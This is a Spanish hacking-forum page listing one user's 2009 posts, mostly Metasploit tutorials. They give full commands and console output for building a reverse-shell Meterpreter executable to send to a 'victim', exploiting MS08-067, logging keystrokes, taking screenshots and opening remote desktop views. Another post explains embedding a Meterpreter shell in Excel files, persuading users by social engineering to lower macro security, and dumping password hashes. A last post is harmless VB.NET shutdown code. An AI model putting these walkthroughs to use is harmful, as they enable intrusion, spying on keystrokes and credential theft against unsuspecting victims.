elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24]
231  Seguridad Informática / Hacking / [Metasploit] Generando Ejecutable con PAYLOAD en: 30 Diciembre 2009, 02:32 am
Generando Ejecutable con PAYLOAD
[Metasploit By: Shell Root]



Despues de explotar la vulnerabilidad en sistemas Windows XP SP 2 [445/tcp "Microsoft Windows XP microsoft-ds"] con el exploit exploit/windows/smb/ms08_067_netapi. Ahora veremos como obtener una session del Meterpreter cuando la victima ejecute un archivo Ejecutable.

Primero generamos el ejecutable con el PAYLOAD windows/meterpreter/reverse_tcp. Así, desde la Shell de Linux:
Código:
shell@ShellRoot:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=5555 X > /home/shell/hola.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: LHOST=192.168.0.5,LPORT=5555
shell@ShellRoot:~/msf3$

Nota: Me toco hacerlo desde Linux porque en W1nd0w$, no me funco el parametro X >.

Ahora revizamos la ruta /home/shell/hola.exe y miramos que existe el archivo.



Mandamos el archivo a la Victima, pero antes de ello, debemos configurar el Auxiliary multi/handler, de esta forma:

Código:
shell@ShellRoot:~/msf3$ ./msfconsole

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops

msf > use multi/handler

Cabe decir de que debemos de configurar de nuevo el PAYLOAD puesto dentro de archivo ejecutable que creamos al inicio (hola.exe), ponemos los mismos datos. Así:
Código:
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.5
LHOST => 192.168.0.5
msf exploit(handler) > set LPORT 5555
LPORT => 5555

Ahora es tiempo de ejecutar nuestro Auxiliary. Pero ejecutarémos digamos que en un "segundo plano", a la espera de que la victima abra el ejecutable que le mandamos. Así:

Código:
msf exploit(handler) > exploit -j
[*] exploit Running as background job.

[*] Starting the payload handler...
[*] Started reverse handler on port 5555
msf exploit(handler) >

Ahora es cuestion de esperar a que la victima abra el archivo y obtendrémos la session del Meterpreter. Supongamos que pasaron varios minutos y que la victima abrio el archivo, nos debe de aparecer esto:

Código:
msf exploit(handler) > [*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.5:5555 -> 192.168.0.2:11735)

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/generando-ejecutable-con-payload.html
Video: Nothing...

Saludos!
232  Seguridad Informática / Hacking / [Metasploit] Usar Keylogger del Metasploit en: 23 Diciembre 2009, 20:14 pm
Usar Keylogger del Metasploit
[Metasploit By: Shell Root]


Una de las muchas herramientas que trae integrada el Metasploit, es un Keylogger. Podemos capturar las teclas presionadas en el P.C Remoto, ademas de poder sacar un Screenshot. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
    * exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
    * windows/shell/bind_tcp
    * windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp. No explicaré mucho porque para eso esta este POST de mi amigo Rcart.
http://foro.portalhacker.net/index.php/topic,93233.0.html

Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 8 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 8 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:4367 -> 192.168.0.3:4444)

meterpreter >

Ahora que estamos dentro del P.C remoto, miremos las optiones que tiene, con el comando Help

Código:
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ps            List running processes
    migrate       Migrate the server to another process
    use           Load a one or more meterpreter extensions


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    keyscan_dump   Dump they keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes

meterpreter >
Nota: Solo mostraré las opciones que nos interesa.

Es la hora de iniciar nuestro keylogger, pero antes, mirelos los procesos que estan corriendo en la P.C Remota, con el comando ps
Código:
meterpreter > ps

Process list
============

    PID   Name          Path
    ---   ----          ----
    368   smss.exe      \SystemRoot\System32\smss.exe
    548   csrss.exe     \??\C:\WINDOWS\system32\csrss.exe
    576   winlogon.exe  \??\C:\WINDOWS\system32\winlogon.exe
    656   services.exe  C:\WINDOWS\system32\services.exe
    668   lsass.exe     C:\WINDOWS\system32\lsass.exe
    824   svchost.exe   C:\WINDOWS\system32\svchost.exe
    840   cmd.exe       C:\WINDOWS\system32\cmd.exe
    892   svchost.exe   C:\WINDOWS\system32\svchost.exe
    988   svchost.exe   C:\WINDOWS\System32\svchost.exe
    1040  svchost.exe   C:\WINDOWS\system32\svchost.exe
    1128  svchost.exe   C:\WINDOWS\system32\svchost.exe
    1384  wuauclt.exe   C:\WINDOWS\system32\wuauclt.exe
    1452  Explorer.EXE  C:\WINDOWS\Explorer.EXE
    1512  spoolsv.exe   C:\WINDOWS\system32\spoolsv.exe
    1684  alg.exe       C:\WINDOWS\System32\alg.exe
    1700  wscntfy.exe   C:\WINDOWS\system32\wscntfy.exe
    1800  ctfmon.exe    C:\WINDOWS\system32\ctfmon.exe
    1908  inetinfo.exe  C:\WINDOWS\system32\inetsrv\inetinfo.exe
    1936  metsvc.exe    C:\WINDOWS\TEMP\LsMhsBTb\metsvc.exe

meterpreter >

Ahora migremos al proceso Explorer.exe. Usaremos el comando Migrate [Numero_Proceso] . Miremos el PID del proceso Explorer.exe, es el numero 1452.
Código:
meterpreter > migrate 1452
[*] Migrating to 1452...
[*] Migration completed successfully.
meterpreter >

Ya es hora de que iniciaremos el Keylogger con el comando keyscan_start
Código:
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter >

Ahora con ayuda del comando keyscan_dump , veremos las teclas presionadas en la P.C Remota.
Código:
meterpreter > keyscan_dump 
Dumping captured keystrokes...
net user <Return>  <Ctrl>  <LCtrl>  <Alt>  <LMenu>
meterpreter >

Ahora miremos la opción de sacar un ScreenShot de la P.C Remota, para ello usaremos el plugin espia del metasploit.
Código:
meterpreter > use espia
Loading extension espia...success.
meterpreter >

Despues con el comando screenshot [Ruta_Archivo_Salida] sacaremos una captura de pantalla de la P.C Remota.
Código:
meterpreter > screenshot /Prueba.bmp
[*] Image saved to /Prueba.bmp
meterpreter >
Imagen:


Con esto damos por concluida el uso del Keylogger y lo pausamos con el comando keyscan_stop
Código:
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/usar-keylogger-del-metasploit.html
Video: http://www.youtube.com/watch?v=f8_M6V3xILE
233  Seguridad Informática / Hacking / [Metasploit] Vista del Escritorio Remoto con VNC en: 23 Diciembre 2009, 20:14 pm
Vista del Escritorio Remoto con VNC
[Metasploit By: Shell Root]


Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger & Screenshot). Tambien podemos conectarnos con VNC para ver el Escritorio Remoto. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
    * exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
    * windows/vncinject/bind_tcp

Código:
                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 9 days hago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 9 days hago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp
PAYLOAD => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/vncinject/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   AUTOVNC   true             yes       Automatically launch VNC viewer if present
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.3      no        The target address
   VNCHOST   127.0.0.1        yes       The local host to use for the VNC proxy
   VNCPORT   5900             yes       The local port to use for the VNC proxy


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (197120 bytes)
[*] VNC Server session 1 opened (192.168.0.2:2128 -> 192.168.0.3:4444)
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[-] Exploit failed: Bad file descriptor
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) > VNC Viewer Free Edition - VNC Viewer Free Edition for Win32, Version 4.1.3
Built on Oct 15 2008 at 17:04:00
Copyright © RealVNC Ltd. 2002-2008

[*] VNC Server session 1 closed.


Con ayuda del PAYLOAD windows/vncinject/bind_tcp podemos ejecutar el VNC y ver el escritorio remoto.

Imagen:


By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/vista-del-escritorio-remoto-con-vnc.html
Video: http://www.youtube.com/watch?v=k30889rxcOQ
234  Seguridad Informática / Hacking / XLSInjector – Inyectar Shell Meterpreter en Archivos Excel en: 23 Diciembre 2009, 20:12 pm
XLSInjector – Inyectar Shell Meterpreter en Archivos Excel




Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.

En esta ocasión les voy a hablar sobre XLSInjector, una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

    * Una Maquina (virtual o real) con Windows
    * Microsoft Excel
    * Perl
    * El modulo Win32:OLE para Perl
    * Un archivo XML a infectar
    * El <a href="http://code.google.com/p/xlsinjector/">XLSInjector</a>
    * y por ultimo el Metasploit Framework

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

Código:
perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

    * iniciamos la consola del metasploit
    * una vez en la consola de MSF cargamos el payload de meterpreter
      set payload windows/meterpreter/bind_tcp
    * lo configuramos adecuadamente
      set RHOST ipdelpcvictima
      set RPOT 4444
    * luego lo lanzamos
      exploit

Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto.

Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos documentos (Meterpreter.pdf y MSF3-met.html) para que aprendas mas sobre los comandos del meterpreter.

Te recomiendo utilizar el comando migrate tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es hashdump que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como l0phtcrack o cain&abel.

Fuente: http://www.dark-bits.org/wp/2009/12/xlsinjector-%E2%80%93-inyectar-shell-meterpreter-en-archivos-excel/
235  Programación / .NET (C#, VB.NET, ASP) / Utilizar comandos BATCH en Visual Basic .NET en: 25 Noviembre 2008, 04:02 am
Como dice el POST, queria compartir con Ud's un pequeño codigo.
Que lo que hacé es filtar comando del D.O.S en Visual Basic .NET.

Espero que les sirva.

Código:
Imports System.Diagnostics

'---------------------------------------------|
'System.Diagnostics                           |
'---------------------------------------------|
'El espacio de nombres System.Diagnostics     |
'proporciona clases que permiten interactuar  |
'con los procesos del sistema, registros de   |
'eventos y contadores de rendimiento.         |
'---------------------------------------------|

Public Class Form1

    Private Sub shutdown_s_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles shutdown_s.Click
        '---------------------|
        'shutdown -s          |
        '---------------------|
        'Apagar el Equipo     |
        '---------------------|
        Process.Start("shutdown.exe", "-s")
    End Sub

    Private Sub shutdown_a_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles shutdown_a.Click
        '---------------------------------|
        'shutdown -a                      |
        '---------------------------------|
        'Anular el Apagado del Equipo     |
        '---------------------------------|
        Process.Start("shutdown.exe", "-a")
    End Sub

End Class

Saludos!!!
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines